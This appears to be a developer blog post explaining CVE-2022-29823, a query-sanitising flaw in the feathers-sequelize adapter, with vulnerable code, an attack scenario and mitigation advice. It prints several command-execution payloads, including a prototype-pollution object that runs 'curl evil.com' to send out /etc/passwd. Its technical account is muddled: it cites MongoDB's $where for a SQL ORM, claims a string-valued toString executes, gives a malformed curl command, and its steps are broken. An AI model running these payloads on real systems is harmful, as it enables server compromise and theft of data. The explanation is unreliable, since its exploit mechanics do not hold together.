The security of backend systems is paramount, especially when dealing with code that interacts directly with databases. One of the subtle-yet-devastating vulnerabilities discovered in 2022 is CVE-2022-29823, impacting the popular Feather-Sequelize plugin. The vulnerability lies in how the cleanQuery method operates, allowing attackers to execute any code they want on the server (Remote Code Execution, or RCE) if certain conditions are met.
This post breaks down how CVE-2022-29823 works, step-by-step. We’ll look at the problematic code, see how it can be exploited, and discuss ways to stay safe. If you use or maintain apps built with Feather-Sequelize, it’s vital you understand this vulnerability.
What is Feather-Sequelize?
Feather-Sequelize is a widely used adapter for the FeathersJS framework, allowing seamless integration with Sequelize ORM for databases such as MySQL, Postgres, SQLite, and MSSQL. It's especially popular in Node.js projects that need slick REST or realtime APIs on top of SQL data.
What is cleanQuery, and Why is It Dangerous?
In simpler terms, cleanQuery() is meant to protect the application by filtering out unsupported or dangerous keys from incoming query objects before they hit the database layer.
However, in versions affected by CVE-2022-29823, cleanQuery uses recursive logic in an insecure manner. It is easy to trick the function into leaving dangerous objects untouched—or even pass unsupported, maliciously crafted objects—leading the server to evaluate code or commands crafted by attackers.
The Vulnerable Code
Below is a simplified (but representative) code snippet showing the risky logic. Note the lack of strict checks or proper handling of nested properties:
// Unsafe recursive logic: simplified version
function cleanQuery(query, allowedKeys) {
let result = {};
Object.keys(query).forEach(key => {
if (allowedKeys.includes(key)) {
if (typeof query[key] === 'object') {
// Recurse without enough safety checks!
result[key] = cleanQuery(query[key], allowedKeys);
} else {
result[key] = query[key];
}
}
// unsafe: doesn't filter symbols, prototypes, etc.
});
return result;
}
What’s the problem? By exploiting this recursion, an attacker can supply a crafted payload, “sneaking” objects or properties that, later in the request lifecycle, will be executed by the app—just as if the attacker controlled backend code.
Attack Scenario
1. Attacker crafts a malicious query: This could include functions, symbol properties, prototypes, or other dangerous constructs buried deeply in the query object.
2. Server passes query through cleanQuery: The recursion wrongly preserves the malicious property, since it only checks key names on the first level.
3. Downstream code (like Sequelize or custom hooks) evaluates the value: This usually happens during ORM parsing or service processing, leading to code execution with the app's privileges.
Consider an API endpoint like
POST /users/find
Body: { "filter": { "$where": "process.mainModule.require('child_process').execSync('id')" } }
If cleanQuery() doesn't filter $where or exotic keys nested inside filter, and Sequelize (or similar code) passes it to dangerous evaluation functions (like MongoDB's $where), arbitrary code could run.
But the truly dangerous variant uses prototype pollution or property access patterns
// Attacker's malicious query
{
"__proto__": {
"toString": "() => { require('child_process').exec('curl evil.com/?cat /etc/passwd') }"
}
}
When later code expects to access toString or other built-in properties somewhere in the stack (for logging or other routines), it can trigger the attacker's evil code.
Proof of Concept
Here’s how the vulnerability manifests in practice.
Malicious Payload
const maliciousQuery = {
user: {
// Add dangerous prototype property
"__proto__": {
isAdmin: function() {
require('child_process').exec('uname -a > /tmp/pwned.txt');
}
}
}
};
Send this to a route that uses cleanQuery(). If the downstream code uses user.isAdmin() or expects to JSON-serialize the user, the code in exec will run on the server.
Malicious method lands in downstream logic.
4. On use (e.g. logging or privilege check), the attacker’s code gets executed with the server’s privileges.
Responsible Disclosure & Patch
Feather-Sequelize maintainers patched this issue promptly. The fixed version uses robust checks to block dangerous keys, including:
Safe, non-recursive property copying.
Patch commit:
GitHub - feathersjs/feathers-sequelize@v7.1.
CVE Entry:
NVD - CVE-2022-29823
Mitigations and Recommendations
1. Update Now: If you’re using Feather-Sequelize before the fixed version (see GitHub), upgrade immediately.
2. Never trust client-side input: Always validate and sanitize inputs, especially deeply nested objects.
3. Disable dangerous Sequelize options: Don’t allow user queries to set advanced ORM options or unsupported operators.
4. Pen-test your API: Use tools like N|Solid or Snyk to scan for known Node.js vulnerabilities.
Summary
- CVE-2022-29823 exposes applications using Feather-Sequelize to full RCE if they use the unsafe cleanQuery method.
For more info, see
- FeathersJS security advisories
- NVD CVE-2022-29823 detail
Stay vigilant. Don’t let simple oversights open wide doors to attackers!
*This exclusive breakdown was written in plain language to help developers, architects, and hobbyists stay safe. Questions or thoughts? Drop them below!*
Timeline
Published on: 10/26/2022 10:15:00 UTC
Last modified on: 02/28/2023 19:06:00 UTC